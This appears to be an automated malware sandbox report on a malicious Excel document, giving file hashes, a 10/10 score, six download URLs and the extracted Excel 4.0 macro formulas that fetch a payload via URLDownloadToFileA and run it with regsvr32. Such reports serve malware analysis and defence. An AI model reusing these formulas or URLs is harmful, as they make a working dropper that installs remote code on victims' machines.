General

  • Target

    b28c4a8a2670180a33ed3091036ee478575f6da36e98c9a898e43cf24b5734bf

  • Size

    46KB

  • Sample

    241120-jqc6jstnbs

  • MD5

    055d4265cf59314f5a4df340a617fe7b

  • SHA1

    3345cc53112e8deb83178e463d64f4bec4c14220

  • SHA256

    b28c4a8a2670180a33ed3091036ee478575f6da36e98c9a898e43cf24b5734bf

  • SHA512

    f0798b1b16c917198b1117e304d9fd8f999bf573fec8cffd4a6d63696f7f3903ecfc1ba48018eac43139308a4c0a387cf66ea3c9877aa827a1b9004c610942e6

  • SSDEEP

    768:qo9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:qo9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

https://aplicativos.xyz/apk/49Wq5MN/

http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/

http://prevozkop.rs/qnov/n017r0EEa/

https://businessandhr.com/w/xrB/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aplicativos.xyz/apk/49Wq5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://prevozkop.rs/qnov/n017r0EEa/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://businessandhr.com/w/xrB/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

xlm40.dropper

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

Targets

    • Target

      b28c4a8a2670180a33ed3091036ee478575f6da36e98c9a898e43cf24b5734bf

    • Size

      46KB

    • MD5

      055d4265cf59314f5a4df340a617fe7b

    • SHA1

      3345cc53112e8deb83178e463d64f4bec4c14220

    • SHA256

      b28c4a8a2670180a33ed3091036ee478575f6da36e98c9a898e43cf24b5734bf

    • SHA512

      f0798b1b16c917198b1117e304d9fd8f999bf573fec8cffd4a6d63696f7f3903ecfc1ba48018eac43139308a4c0a387cf66ea3c9877aa827a1b9004c610942e6

    • SSDEEP

      768:qo9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:qo9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks